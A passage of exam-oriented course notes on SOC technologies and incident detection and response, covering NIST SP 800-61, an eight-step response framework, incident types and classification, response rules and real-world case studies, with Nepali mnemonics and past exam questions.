- Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors? Describe SOC visibility triad in brief. 2081 Bhadra Q4 · 10
5.10Last minute recall
Chapter 5 in one screen
- The chain: too many logs, SIEM; too many alerts, SOAR; valid logins misused, UEBA; fileless attacks, EDR; devices with no agent, NDR; separate consoles, XDR.
- SOC: people (tiers 1, 2, 3, manager, CISO), process (playbooks, escalation, metrics), technology (this chapter).
- Posture gains: visibility, early detection (MTTD), speed (MTTR, dwell time), consistency, analyst focus, evidence.
- SIEM role: central brain; aggregate, store, analyze; a single pane of glass, raw logs into actionable intelligence.
- SIEM features: collection and normalization, correlation, enrichment, alerting, search, dashboards, compliance reports, case management, retention.
- Deck dashboard: top 10 breach events (beaconing, data sent out, scans, deletes); an Action flow from host to stage (C2, exploit, egress, tooling).
- Next-generation SIEM: UEBA and ML built in, cloud data lake, EDR and cloud telemetry, SOAR response, ATT&CK content.
- SOAR: the connective tissue; orchestration (APIs), automation (playbooks), response (cases); cuts MTTR from hours to seconds; human approval on disruptive steps; run list pending, succeeded, failed.
- Phishing playbook: trigger, extract, enrich, decide, scope, approve, contain, close.
- UEBA: collect, baseline, detect, score, investigate; ; insiders, stolen credentials, impossible travel; deck screen: matrix of anomalies, top risky users, anomalies in words.
- EDR: behavioral recording, suspicious activity detection, incident containment, investigation; process tree, isolate host (AgentX, from the detection); beats antivirus on fileless attacks; blind without an agent.
- NDR: packets, flows, metadata; north-south and east-west; beaconing, DNS tunneling, lateral movement; encrypted and living-off-the-land traffic by metadata; AI Detect and AI Prevent.
- XDR: evolution of EDR; data consolidation (email, cloud, IAM, network, endpoint) in a data lake; cross-platform correlation into one incident; native or open; SIEM for retention and compliance.
- Triad: SIEM (logs), EDR (endpoint), NDR (network); Chuvakin, Gartner, 2015, "nuclear triad"; blind spots cancel out.
- Integration: data in, context, common language (schema, ATT&CK), actions out, feedback; the notes' four steps (EDR and XDR feed the SIEM, UEBA adds context, the SIEM alerts SOAR, SOAR acts); NIC Asia SWIFT fraud, Tihar 2017.
- Cloud: shared responsibility; CloudTrail, Activity Log, Audit Logs; CSPM, CIEM, CWPP; volume, ownership, no perimeter, gaps.
- vCISO: part-time CISO as a service; cost, talent, compliance, interim cover; strategy, risk, policy, audit, incident readiness, SOC oversight, reporting.
- PQC: Shor breaks RSA and ECC, Grover halves AES; harvest now, decrypt later; Mosca ; FIPS 203, 204, 205 (2024); CNSA 2.0 and NIST IR 8547 point to 2035; hybrid X25519 with ML-KEM.
- Mnemonics: SIEM features, Chhoro Chiya Eklai Aaphai Sakaayo; Didi Runchhin: Ijjat Raakha; phishing playbook, Thulo Engineer Ekdam Drunk Sutyo, Aanganma Chhepare Chatyo; vCISO services, Sano Raju Pasalma Chips, Ilaichi, Sel Tokera Aamasanga Ruyo; why PQC now, Hackerle Mobile Message Saachyo, Gaadimaa Laptop Chhodyo, Mutyo.
Chapter 6 · 6 hours · 10 of 80 marks in the syllabus · in all 4 sittings
Incident detection and response
The other chapters keep attackers out or spot them; this one is about what a security team does once something has gone wrong. It follows the course's Chapter 6 deck: how an incident is recognized, typed and rated, the incident response plan (IRP), the course's eight step IRP framework beside NIST SP 800-61's four phases and SANS's six steps, the five rules that keep a response from making things worse, how a SOC triages and escalates, what is analyzed and reported afterwards, and real incidents read as lessons. It is 10 of the 80 marks in the syllabus weighting, and its incident handling steps question has been set in all three sittings on record.
- Identification and classification: events, attacks and incidents, the types of incident, and how an incident is detected, categorized and prioritized.
- The plan and the framework: the IRP and the 17 parts NIST gives it, the course's eight step IRP framework (preparation, detection, categorisation, containment, investigation, remediation, reporting, lessons learnt), and its five "do not make things worse" rules.
- Handling and response: preparation, containment and remediation, the questions an investigation answers, and the evidence kept along the way.
- Triage and escalation: how an alert moves through the SOC tiers, and who is told, when and on what trigger.
- Post-incident analysis and reporting: the lessons learnt step, root cause analysis, response metrics, and the incident report.
- Real incidents: the deck's table of seven recent attacks, its four case studies (Colonial Pipeline, Equifax, Uber, SolarWinds), the terminated insider and WannaCry, each read through the framework.
- Detection runs on chapters 4 and 5: logs and the SIEM raise the alerts (logs, SIEM), EDR isolates hosts (EDR), SOAR runs playbooks (SOAR) and UEBA catches insiders (UEBA).
- Chapter 3 frames the attacker: the kill chain stage and the ATT&CK technique say how far an intruder got, and threat hunting finds what no alert caught.
- Chapters 1 and 2 supply the incidents: ransomware, zero-day attacks such as the Exchange Server compromise of 2021 (zero-day), and MFA fatigue, the way into Uber in 2022 (authentication).
- Chapter 7 holds the policy side: the breaches traced to missing policy (policy failures) and the controls against insiders (insider controls).
- Risk and law: an incident is a risk that has come true (risk management), its harm is measured on the CIA triad, and computer crimes in Nepal fall under the Electronic Transactions Act 2008 (cyber law in Nepal).
- 6.1 Identification and classification: events, attacks and incidents, types of incident, categorisation and priority
- 6.2 Handling and response: the incident response plan, the course's eight step framework, do not make things worse, preparation and the team, containment and remediation, the investigation questions, evidence and the chain of custody
- 6.3 Triage and escalation: triage through the SOC tiers, escalation
- 6.4 Post-incident analysis and reporting: lessons learnt, root cause and metrics, the incident report
- 6.5 Case studies of real incidents: seven recent attacks, the terminated insider, WannaCry 2017, Equifax 2017, SolarWinds 2020, Colonial Pipeline 2021, Uber 2022
- Recall Chapter 6 in one screen
- The steps question is set every time: the fundamental steps of incident handling and response, with examples of actions at each step, appeared in 2081 Bhadra (10 marks), the 2082 internal and the 2083 internal (5 marks). Draw the course's eight step cycle, give a concrete action at every step, and map the steps onto NIST's four phases in one line.
- Case studies: the class notes set the terminated insider case in three parts (what happened, the factors, the prevention); the deck's four cases and its table of recent attacks are the obvious material for a Group B case question asking the same three things.
- The lab: lab 12 of the syllabus is to investigate and triage an incident by following a playbook, which is the triage card done by hand: the course's detection and categorisation steps, done fast.
6.1Incident identification and classification
Events, attacks and incidents, and how an incident is found PREDICTED
Three words, three levels. NIST defines an event as any observable occurrence in a system or network: a user connects to a file share, a server answers a web request, a firewall blocks a connection. An adverse event is an event with a negative consequence, whatever its cause: a crash, a power failure, a packet flood, malware that destroys data. An incident is an adverse event that harms, or is about to harm, confidentiality, integrity or availability, or breaks security policy. An alert sits in between: it is a tool's claim that some events look like an incident, and the claim may be wrong.
Threat, attack, incident. The deck adds the attacker's side. A threat is a danger that could act on an asset; an attack is a threat being carried out, a deliberate attempt on a system or its data. When a threat becomes a valid attack, it is classified as an information security incident if all three of these hold:
- It is directed against information assets: the organization's own systems and data, not a random scan of the whole internet.
- It has a realistic chance of success: the weakness it needs is really there.
- It threatens confidentiality, integrity or availability of those assets.
The two do not overlap exactly. An attack that cannot succeed is not an incident: a port scan the firewall drops, a phishing email the filter quarantines. And an incident need not be an attack: an employee who emails a file of customer records to the wrong address, or a faulty update that takes systems down, harms CIA with no attacker at all, which is why the course's categories include unplanned downtime (categorisation).
| Term | Meaning | Example |
|---|---|---|
| Event | any observable occurrence | Rita logs in at 09:02 |
| Adverse event | an event with a negative consequence, whatever the cause | a server crashes after a bad update |
| Attack | a threat carried out: a deliberate attempt on a system or its data | someone tries password after password on the admin account |
| Alert | a tool says the events match a rule (it may be wrong) | SIEM: 37 failed logins for the admin account |
| Incident | CIA harmed or policy violated, or about to be | the 38th attempt succeeds from a foreign IP address and a new admin user appears |
To remember it: a hostel Wi-Fi, made up. Every login to the hostel router is an
event, hundreds a night. Someone in room 12 runs a password guesser against the router's
admin page: an attack. If the router locks the page after five wrong tries, the attack
has no realistic chance of success and stays an attack. If the admin password is still
admin, the guess succeeds and the router starts sending everyone to a fake Khalti
login page: confidentiality and integrity are now threatened, and it is an incident.
Most events are harmless. An organization records millions of events a day, and NIST notes that receiving thousands or even millions of intrusion detection alerts a day is not unusual. Identification is the work of finding the few incidents in that volume, quickly.
Precursors and indicators. NIST splits the signs of an incident in two:
- Precursor: a sign that an incident may happen: web server logs showing a vulnerability scanner, news of a new exploit for the mail server the organization runs, a threat from a group. Rare, and a chance to prevent.
- Indicator: a sign that an incident may have happened or is happening now: an antivirus alert, a filename with odd characters, many failed logins from an unfamiliar system, a change to audit settings, traffic that departs from the usual flows. Common, and the start of the response.
Where detection comes from. NIST groups the sources as alerts, logs, publicly available information and people; a modern SOC adds EDR, threat intelligence and hunting:
- SIEM alerts: correlation rules over collected logs (SIEM): brute force, impossible travel, a new admin account.
- EDR and antivirus: behavior on the endpoint (EDR): Word spawning PowerShell, files encrypted in bulk.
- IDS, IPS and network tools: signatures, flow anomalies, DNS tunneling.
- Logs: operating system, application and network device logs (logs), file integrity checks.
- People: a user whose files have strange extensions, a reported phishing email, a help desk call.
- Outsiders and intelligence: an IoC feed match (threat intelligence), a partner, a vendor, a CERT or the police saying the organization's addresses are attacking others.
- Threat hunting: analysts searching for what no alert caught (threat hunting).
The course's detection step: five questions
Step 2 of the course's framework (the eight steps) turns detection into five questions, each with the kind of answer it expects:
| Question | Example answers |
|---|---|
| Who or what detected or reported the threat? | IT staff, security tools (SIEM, EDR, antivirus) |
| What is the date and time of the detection or report? | normalized across every report: the time recorded in GMT |
| How was the threat detected or reported? | an email, a text, a warning pop-up, a phone call |
| Has a similar threat already been reported? | the earlier entries in the incident register |
| Is the threat valid? | confirmed, or a false positive |
Why one clock. A firewall in Kathmandu logs Nepal time (UTC+5:45), a cloud service logs UTC, a vendor's support desk logs its own time zone. Unless every report is normalized to one clock, GMT (the same as UTC), a timeline built from them puts events in the wrong order. NIST adds that every step is documented and timestamped from the moment of detection.
Validation: is it real? The fifth question comes first in practice, because alerts can be wrong. Every alert is one of four cases:
| Really malicious | Really benign | |
|---|---|---|
| Alert raised | true positive: respond | false positive: close it, tune the rule |
| No alert | false negative: the dangerous miss, found later by a hunt or a user | true negative: nothing to do |
Example, from the course's first hunting scenario. A SIEM rule fires because an attachment's hash is on a malware list. The analyst pivots to its recipient, Rita, and finds repeated failed logins across several servers; pivots to the source IP and finds it on a list of known command and control addresses. Each pivot turns the alert into evidence, and together they confirm an incident: Rita's account is compromised, and Bob's account is being probed from the same address.
- Differentiate between a security event and a security incident, with examples. How are incidents identified and classified by category and severity? Predicted, ch 6 Q1 · 4+6
- When is an attack classified as a security incident? Describe the common types of cyber security incidents with an example of each. Predicted, ch 6 Q9 · 4+6
Types of incident, from insider theft to a poisoned vendor update PREDICTED
Why name the types. The type decides the playbook: a ransomware outbreak calls for isolation and backups, a data leak for legal advice and notification, an insider for HR. A team that has thought about each type in advance is not inventing its response on the day.
| Type | What happens | Example |
|---|---|---|
| 1. Insider data theft | an employee, former employee or contractor takes data, or sells access | the terminated vice president who read executives' email for five months (the insider case) |
| 2. Sensitive data leak | personal or confidential data exposed, often by mistake | a spreadsheet of customer records emailed to the wrong address; a cloud folder left readable by anyone with the link |
| 3. Breach | an outsider gets in and takes data | Equifax, 2017: data on about 147 million people (Equifax) |
| 4. Trade secret leak | source code, designs, formulas or plans leave the company | LastPass, August 2022: source code and technical information stolen from its development environment |
| 5. Phishing attack | a fake message deceives someone into a click, a login or a payment | the Emotet email chain of chapter 2; MFA fatigue at Uber, 2022 (Uber) |
| 6. Third-party vendor attack | the attacker comes in through a supplier, contractor or software vendor | SolarWinds, 2020 (SolarWinds); Okta, 2022, through a support contractor |
| 7. Ransomware attack | files encrypted for a ransom, and now usually copied out first | Colonial Pipeline, 2021; WannaCry, 2017 |
| 8. Malware attack | other malicious code: trojans, worms, spyware, keyloggers, miners | TrickBot stealing banking credentials (chapter 2); the keylogger behind the LastPass vault theft |
To remember them: four ways out, four ways in. The first four are data walking out of the organization (insider theft, leaks, breaches, trade secrets); the last four are ways attackers walk in (phishing, a vendor, ransomware, malware). A list of eight is two lists of four.
NIST's seven examples
The deck also quotes the seven examples of incidents that NIST SP 800-61 Rev. 3 (2025) gives beside its definition, each caused by an attacker. Each matches a type above and a category on the next card:
- A botnet floods an internet-facing service so real users cannot reach it: denial of service, as when the Mirai botnet hit the DNS provider Dyn in October 2016 and Twitter, Netflix and other sites went unreachable for hours.
- Administrative credentials are stolen at a software-as-a-service provider, putting every tenant's data at risk: a third-party attack, as at Okta in 2022.
- An intruder in the business network steals credentials and orders industrial control systems to shut down or destroy physical equipment: in December 2015 attackers used stolen credentials to open breakers at three Ukrainian power distribution companies, cutting power to about 225,000 customers.
- Ransomware stops systems working and data is copied out first, for a second ransom: the double extortion most ransomware gangs now practice.
- Phishing takes over user accounts, which are then used for financial fraud: a hijacked mailbox asks the finance team to pay an invoice to a new account.
- A new vulnerability in network management appliances is exploited to reach network communications: a zero-day (zero-day).
- A vendor's software is compromised and shipped to customers: SolarWinds.
What the post says, in four parts:
- Targets: telecoms companies (Claro, Telefonica, AT&T), large software and gaming corporations (Microsoft, Apple, EA, IBM), call centres and outsourcers (Atento, Teleperformance) and server hosts (OVH, Locaweb).
- The ask, in capitals: not data, but an employee to provide a VPN or Citrix way into the network, or AnyDesk.
- Outsiders welcome: someone who is not an employee but has access, such as a VPN account or a VDI (virtual desktop infrastructure) login, is wanted too; anyone unsure is told to send a direct message.
- The offer: payment for whoever wants it; the screenshot shows about 25,900 views.
The lesson in it: every item on the wish list is a remote access path, which is why offboarding, MFA on remote access and alerts on unusual remote logins come up in each insider lesson of this chapter.
Why the deck shows it. In early 2022 LAPSUS$ broke into Nvidia, Samsung, Microsoft and Okta largely without clever malware: with stolen passwords, MFA fatigue and help from insiders. The post shows that an insider need not be an angry ex-employee; it can be anyone on the payroll who answers an advert. Uber believed the intruder of September 2022 was affiliated with the same group (Uber).
- When is an attack classified as a security incident? Describe the common types of cyber security incidents with an example of each. Predicted, ch 6 Q9 · 4+6
Categorizing an incident: category, impact and priority PREDICTED
Why classify. NIST calls prioritization perhaps the most critical decision in incident handling: incidents must not be handled first come, first served. The category chooses the playbook and the people; the severity chooses the speed. Adware on one laptop and ransomware on a domain controller both arrive as "malware alerts"; classification is what keeps them apart. Incidents range from low impact to a major incident in which administrative access to the enterprise's IT systems is compromised, as in the targeted attacks reported in the press.
The course's categorisation step
The deck sorts a valid threat into one of six categories:
| Category | Meaning | Example |
|---|---|---|
| Denial of service | a service made unavailable to legitimate users | a botnet floods the online banking site |
| Malicious code | malware runs: a virus, worm, trojan or ransomware | WannaCry encrypts hospital PCs (WannaCry) |
| Unauthorized use | someone with legitimate access uses it for what is not allowed | an administrator reads the director's mail; an employee runs a cryptocurrency miner on office servers |
| Unauthorized access | someone gets in who was never given access | the terminated vice president's login, three years on |
| Unplanned downtime | a system stops without warning, cause unknown at first | a faulty CrowdStrike update on 19 July 2024 crashed about 8.5 million Windows computers: no attacker, still an incident to handle |
| Other | anything that fits none of the above | a lost laptop, a policy breach |
Then come five activities, the first three asked as questions:
| Activity | Example answers |
|---|---|
| Who or what is the target of the threat? | a user, a system, specific data |
| Is this an ongoing (live) threat? | ongoing, stopped, unknown |
| What is the impact of the threat? | financial, operational, reputational, legal |
| Categorise the priority of the incident | priority 1, 2 or 3, with P1 above P2 above P3 |
| Classify the incident communication | restricted or unrestricted |
Assigning a priority level is how the class notes put the fourth activity: the incident gets priority 1, 2 or 3, and P1 is handled first. The notes also describe the whole step as triage of the validated incident, to fix its scope and severity (triage).
Restricted or unrestricted. The last answer fixes who may be told. A restricted incident, such as a suspected insider or a breach still being scoped, is known only to the response team and named managers; an unrestricted one, such as a phishing campaign every user should watch for, can be announced to all staff. It is the fifth rule of the response in practice (do not make things worse).
The standard detail: NIST's vectors and severity factors
By attack vector. NIST SP 800-61 Rev. 2 lists common attack vectors as a basis for handling procedures:
| Attack vector | Example |
|---|---|
| External or removable media | malware spreads from an infected USB drive |
| Attrition (brute force) | a DDoS on the web server; guessing passwords |
| Web | cross-site scripting steals credentials; a drive-by download |
| a malicious attachment, or a link in the message body | |
| Impersonation | spoofing, man in the middle, a rogue access point, SQL injection |
| Improper usage | an authorized user breaks the acceptable use policy |
| Loss or theft of equipment | a stolen laptop, phone or authentication token |
| Other | anything that fits none of the above |
Many SOCs use plain incident types instead: malware (ransomware, worm, trojan), phishing, account compromise, denial of service, data breach or leak, insider misuse, web application attack, policy violation. The type names the playbook (types of incident).
By severity: NIST's three factors.
| Factor | Scale | The question it answers |
|---|---|---|
| Functional impact | none, low, medium, high | Can the organization still provide its critical services? High means some critical services are lost to all users. |
| Information impact | none, privacy breach, proprietary breach, integrity loss | Was information exposed, stolen, changed or deleted? (the CIA triad) |
| Recoverability | regular, supplemented, extended, not recoverable | What does recovery need? Not recoverable, such as data already published, means launching an investigation instead. |
Priority. Impact, functional plus information, is set against urgency (is it spreading, is an attacker active, how fast does the harm grow) to give a priority, and each priority carries a response target in the service level agreement.
Two classifications worked through.
- Ransomware encrypting a hospital's file servers: category malicious code (ransomware); target the file servers and patient records; live; impact operational, financial and reputational; recoverability supplemented or extended. Priority P1: the incident lead is called now, and communication is restricted until the scope is known.
- A phishing email reported by a user who did not click: category other (an attempt, no harm yet); stopped; no impact. Lowest priority: block the sender, purge the copies from other mailboxes, thank the reporter, and warn all staff, so communication is unrestricted.
A classification can change. It is re-rated as facts arrive. The malware that hit Ukrainian organizations in January 2022 (the chapter 2 deck: Microsoft's DEV-0586, now Cadet Blizzard) displayed a ransom note, but it destroyed the master boot record with no way back. Treated as ransomware, a team wastes time on a payment that can restore nothing; treated as a wiper, it goes straight to rebuilding and restoring from backups.
- Differentiate between a security event and a security incident, with examples. How are incidents identified and classified by category and severity? Predicted, ch 6 Q1 · 4+6
6.2Incident handling and response procedures
The incident response plan: why every organization needs one HOT 1/4
82 Bh10
Not if, but when. The deck opens its case for a plan with the line every security team repeats: an organization will have an incident; the only open question is when. NIST says the same in Rev. 3: an organization cannot know the timing of its next incident, only that another one is inevitable. So the plan helps twice:
- Before a crisis: the key preparations, made calmly, reduce the risk to the organization: people named, tools bought, contacts listed, decisions taken in advance.
- In a crisis: it limits the damage at once, because nobody has to invent the process at two in the morning.
Reactive, not preventive. In the deck's words, IR is a reactive measure, not a preventative one: incident response does not stop attacks; it decides how fast and how well the organization comes back. The deck uses two quotations to make the point: "fortune favors the prepared mind", after Louis Pasteur, and a line usually credited to Henry Kissinger, "There cannot be a crisis next week. My schedule is already full", the attitude the plan exists to defeat.
What a good response does to the attacker. The deck sums it up as an equation: ruin the attacker's economic model = break the known attack playbook + rapid response and recovery + eliminate other attack vectors. Every attack costs the attacker time and money. Preparing for and executing a well-planned response raises the attacker's operational cost: a team that recognizes the usual moves, recovers fast and closes the other doors makes each attempt cost more and pay less, and the business impact of a major incident drops sharply.
To remember it: the earthquake drill. Nobody in Kathmandu asks whether the next big earthquake will come, only when. A school that has practiced its drill, knows its open ground and has agreed whom to call copes when the shaking starts; one that begins planning then does not. The IRP is the organization's drill, and like a drill it is practiced before it is needed.
The plan's skeleton: NIST SP 800-61
The deck builds the IRP on NIST SP 800-61 Rev. 2 (2012), the guide most plans follow: four phases, with two loops between them.
The 17 parts of the plan. The deck then lists what the plan covers under each phase, which are the headings of NIST's own chapters:
| Phase | Parts | What they cover |
|---|---|---|
| Preparation | 1 communication and facilities; 2 hardware and software; 3 resources | contact and on-call lists, a war room, secure storage; forensic laptops, spare equipment, packet capture tools; documentation, network diagrams, baselines, hashes of critical files. NIST adds preventing incidents: patching, hardening, awareness |
| Detection and analysis | 4 attack vectors identification; 5 signs of an incident; 6 sources of precursors and indicators; 7 incident analysis; 8 incident documentation; 9 incident prioritization; 10 incident notification | how incidents arrive, the precursors and indicators that reveal them, where those come from, validating and scoping, the ticket, impact against urgency, and who is told (detection, categorisation) |
| Containment, eradication and recovery | 11 containment strategy; 12 evidence gathering and handling; 13 identifying the attacking hosts; 14 eradication and recovery | choosing how to stop the spread, the chain of custody, finding where the attack comes from, removing the cause and restoring (containment, evidence) |
| Post-incident activity | 15 lessons learnt; 16 using collected incident data; 17 evidence retention | the review meeting, numbers that show trends and justify budgets, how long evidence is kept (lessons learnt) |
Part 13 comes with a warning. NIST tells handlers to stay focused on containment, eradication and recovery: tracing the attacking host can eat time and achieve nothing, so it is done only as far as it helps, by validating the attacking IP address, researching it, and checking incident databases.
NIST's checklist. Rev. 2 condenses the lifecycle into nine steps: determine whether an incident occurred, prioritize it, report it; acquire evidence, contain, eradicate, recover; write a follow-up report, hold a lessons learned meeting.
NIST SP 800-61 Rev. 3 (April 2025)
The deck's link points to the new revision. Rev. 3, Incident Response Recommendations and Considerations for Cybersecurity Risk Management: A CSF 2.0 Community Profile, replaced Rev. 2 in April 2025. It drops the circular lifecycle, because incidents are now frequent and recovery can take weeks or months, and maps the same work onto the six CSF 2.0 functions: Govern, Identify and Protect prepare for incidents; Detect, Respond and Recover handle them; lessons from every function feed Improvement, a category of Identify. Its own mapping of the old phases:
| Rev. 2 phase | CSF 2.0 functions in Rev. 3 |
|---|---|
| Preparation | Govern, Identify, Protect |
| Detection and analysis | Detect, with Improvement |
| Containment, eradication and recovery | Respond and Recover, with Improvement |
| Post-incident activity | Improvement (a category of Identify) |
Rev. 3 also says plainly that each organization should use the incident response lifecycle model that suits it best, which is how a course can teach its own eight step framework on the same foundations (the eight steps). Its definition of an incident is the US federal one: an occurrence that actually or imminently jeopardizes, without lawful authority, the integrity, confidentiality or availability of information or a system, or that violates or threatens to violate law, security policies, procedures or acceptable use policies.
- Explain the four phases of the incident response lifecycle as defined in NIST SP 800-61 Rev. 2. 2082 Bhadra Q5 · 10
- What is an incident response plan (IRP), and why does an organization need one even though incident response is reactive? Explain the rules a response team follows so that it does not make an incident worse. Predicted, ch 6 Q10 · 5+5
The course's eight step IRP framework, mapped to NIST and SANS TOP 3/4
83 int · 82 int · 81 Bh105
Why a fixed procedure. An incident is handled under stress, often at night, on incomplete facts. A written framework means nobody invents the process on the spot: the same questions are asked in the same order, evidence is kept, and nothing is forgotten, from the last infected host to the regulator's deadline.
The steps, with specific actions, carried through one example from the chapter 2 deck: a phishing email carries a Word document whose macro launches PowerShell, which downloads Emotet, which pulls in TrickBot, which steals credentials and finally drops Ryuk ransomware. The actions are the deck's own activities for each step; the card linked from each step has the detail.
- Preparation: before anything happens. The IRP is written, approved by management and backed by its commitment; playbooks exist for phishing, ransomware, keyloggers and DDoS; logistics are ready (meeting rooms, laptops, removable storage, phones, even sleeping and catering arrangements for a long incident); the contact list covers the team, alternative contact methods, escalation, on-call staff, support and vendors; and the support documents are current: incident register, architecture and network diagrams, data flows, system documentation. Logs flow to the SIEM, EDR covers every endpoint, offline backups are tested (preparation).
- Detection: EDR alerts that winword.exe spawned powershell.exe on a finance PC. The analyst records who or what reported it (the EDR), when (in GMT) and how (an alert), checks the incident register for similar reports, and confirms it is valid, not a false positive (detection).
- Categorisation: the target is the PC, its user and the finance data it reaches; the threat is live; the impact could be financial and operational; the category is malicious code, the priority P1, and communication restricted (categorisation).
- Containment: the PC is isolated through EDR and the user's account disabled; the command and control IP and domain are blocked at the firewall and in DNS; the email is purged from every mailbox; administrator passwords are changed. Memory and disk are captured first, so the evidence survives (containment).
- Investigation: how did it get in (the macro), how does it persist (scheduled tasks, run keys), which accounts did TrickBot steal and at what privilege, did it move laterally, and was data exfiltrated? Firewall and SIEM logs, malware analysis and an interview with the user answer them (investigation).
- Remediation: the malware and its persistence are removed, every stolen credential reset, macros from the internet blocked, antivirus signatures and SIEM rules updated, the PC reimaged and its data restored from a clean backup; the finance team gets an awareness session; the incident is declared remediated, fully or partly (remediation).
- Reporting: documentation is kept throughout; the incident register is updated, and the report, with the evidence, findings and timeline, goes to management and, where required, to regulators and the police (reporting).
- Lessons learnt: the root cause (macros from the internet allowed to run) is written down, the controls and processes judged, trends checked, and a mitigation plan and an improvement plan agreed; they go back into preparation (lessons learnt).
Answers: the eight steps of the course's IRP framework, in order: the core of the incident handling question set in all three sittings.
How it decodes: eight words, eight steps, initials in order. It reads as the police daai left his tea, stashed rakshi in the well and hid: a cop doing what he should not, which is why it sticks. The two C's and the two R's keep their order by themselves: there has to be chiya before he can leave it (Categorisation, then Containment), and rakshi before he can stash it (Remediation, then Reporting). And a well is deep, as an investigation is.
- PPulis Preparation: plan, playbooks, contacts and kit, before anything happens
- DDaai Detection: who reported it, how, when (GMT), and is it valid
- CChiya Categorisation: target, live or not, impact, priority, restricted or not
- CChhodera Containment: isolate, block, disable, emergency changes
- IInaarma Investigation: dig deep: way in, persistence, accounts, lateral movement, exfiltration
- RRakshi Remediation: remove, patch, update rules, train users, declare it fixed
- RRakhera Reporting: register, evidence, timeline, report to whoever must know
- LLukyo Lessons learnt: root cause, what worked, mitigation and improvement plans
A loop, not a line. Containment often uncovers another infected host, which goes back through detection and investigation; reporting runs through every step, not only the last; and lessons learnt feed preparation, so the next incident meets a better plan. Five rules hold at every step (do not make things worse).
The same work in NIST, SANS and ISO terms
The course's eight steps cut NIST's four phases more finely: detection and analysis becomes detection plus categorisation; containment, eradication and recovery becomes containment, investigation and remediation; post-incident activity becomes reporting plus lessons learnt. The SANS Institute's Incident Handler's Handbook splits NIST's third phase into its three parts, giving six steps often remembered by their initials, PICERL: preparation, identification, containment, eradication, recovery, lessons learned. ISO/IEC 27035 uses five phases.
| The course (8) | NIST SP 800-61 Rev. 2 (4) | SANS (6) | ISO/IEC 27035 (5) |
|---|---|---|---|
| 1 Preparation | Preparation | Preparation | Plan and prepare |
| 2 Detection; 3 Categorisation | Detection and analysis | Identification | Detection and reporting; assessment and decision |
| 4 Containment; 5 Investigation; 6 Remediation | Containment, eradication and recovery | Containment; eradication; recovery | Responses |
| 7 Reporting; 8 Lessons learnt | Post-incident activity | Lessons learned | Lessons learnt |
- What are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step. 2083 internal Q5 · 5
- What are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step. 2082 internal Q5
- What are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step. 2081 Bhadra Q5 · 10
Do not make things worse: the five rules of a response PREDICTED
Why rules at all. Under pressure, well-meaning people do harmful things: they reply to the attacker, open the malicious link to see what it does, reboot the infected server, or post about it in a staff group. Each rule stops one of these.
| Rule | Why | Breaking it looks like |
|---|---|---|
| 1. Do not engage or interact with the hacker or threat group | contact tells them they have been seen and invites them to hurry, destroy or leak data; hacking back is itself unauthorized access, a crime almost everywhere | an analyst opens the ransom note's chat link to "ask what they want" before management has decided anything |
| 2. Do not connect to the threat's related networks from the organization | the attacker's server logs who visits: a visit from the company's addresses says the lure was noticed, and the site may serve more malware | an employee opens the phishing link from the office to "check it"; analysts use a sandbox or a lookup service instead |
| 3. Preserve evidence | memory, logs and disks show what happened and may be needed in court (chain of custody) | the ransomware-hit server is rebooted or reimaged before its memory and disk are captured |
| 4. Coordinate internal and external communication with management | one voice, agreed facts and legal deadlines met; mixed messages confuse staff, customers and regulators | in 2017 Equifax's own Twitter account sent customers, more than once, to a look-alike of its breach website (Equifax) |
| 5. Treat all incident details as confidential | early leaks help the attacker, who may be reading the mail, cause panic, and can wreck an insider inquiry; the categorisation step's restricted or unrestricted label says who may know | staff discuss the breach in a public social media group, or over the very email system the attacker controls |
Answers: the five rules that keep a response from making things worse, in the deck's order.
How it decodes: five words, five rules, initials in order: a hacker came to Nepal and stole one momo. The first word is the first rule's own subject, the hacker; the rest only carry letters: N for the threat's network, E for evidence, M for management, C for confidential.
- HHacker Do not engage the hacker or the threat group
- NNepalma Do not connect to the threat's network from the organization
- EEuta Preserve evidence
- MMomo Coordinate communication with management, inside and outside
- CChuraayo Confidential: every incident detail, on a need to know basis
To remember it: Uber, 2022, in one morning. When the intruder announced himself in Uber's company-wide Slack channel, many staff took it for a joke and answered with emojis and GIFs: interacting with the attacker, rule 1. Uber then took Slack and other internal tools offline, because the attacker could read them: a confidential response needs a channel the attacker does not hold, rule 5 (Uber).
Where the rules bite. Rules 1 and 2 matter most in detection and investigation, when curiosity is strongest; rule 3 in containment, when the urge is to wipe and rebuild; rules 4 and 5 in reporting, and through escalation to legal, PR and regulators (escalation).
- What is an incident response plan (IRP), and why does an organization need one even though incident response is reactive? Explain the rules a response team follows so that it does not make an incident worse. Predicted, ch 6 Q10 · 5+5
Preparation: the team, the plan, the playbooks and the jump kit PREDICTED
Why it decides the outcome. In the first hour of a serious incident there is no time to find out who may disconnect a server, where the backups are, or whose number reaches the legal team. During WannaCry the NHS had a national response plan that had never been tested locally, so it was not clear who should lead, and with email down, staff fell back on personal phones and WhatsApp (WannaCry).
What the course says to prepare
| Activity | Examples |
|---|---|
| Incident response plan | the team, procedures, documentation, approval, management commitment |
| Incident response playbooks | phishing, ransomware, keylogger, DDoS |
| Logistics | meeting rooms, laptops, removable storage, phones, stationery, printers, sleeping and catering arrangements |
| Contacts | the team, alternative contact methods, escalation, on call, support, vendors |
| Support | incident register, architecture diagram, network diagram, data flows, application and system documentation |
Sleeping and catering? A serious incident runs for days, not hours: Colonial Pipeline's lines were stopped for about five days (Colonial). A plan that has not thought about food, beds and shifts burns its responders out on day two.
The incident response team (CSIRT)
Structure models (NIST):
- Central: one team for the whole organization; suits a small organization or one with little geographic spread.
- Distributed: several teams, one per division or region, working as one coordinated entity; suits a large or spread out organization.
- Coordinating: a team that advises other teams without authority over them, a "CSIRT for CSIRTs", such as a national CERT.
Staffing models (NIST): employees do all the work, with little contractor help; partially outsourced, most often 24/7 monitoring by a managed security service provider (MSSP) that reports incidents to the in-house team; fully outsourced to an onsite contractor, with the organization's own staff supervising.
| Role | Job in an incident |
|---|---|
| Incident manager (lead) | directs the response, decides, keeps the timeline, briefs management |
| SOC analysts, tiers 1 to 3 | triage, investigate, contain (triage) |
| Forensic specialist | images disks and memory, keeps the chain of custody |
| IT and network operations | isolate, patch, rebuild, restore |
| Management and the CISO | approve decisions with business impact: shutting a service, calling in outside help |
| Legal | laws, contracts, regulator notification, evidence for court |
| Human resources | any case involving an employee |
| Public relations | statements to the media and to customers |
| Business continuity and facilities | keep the business running; physical access |
The documents
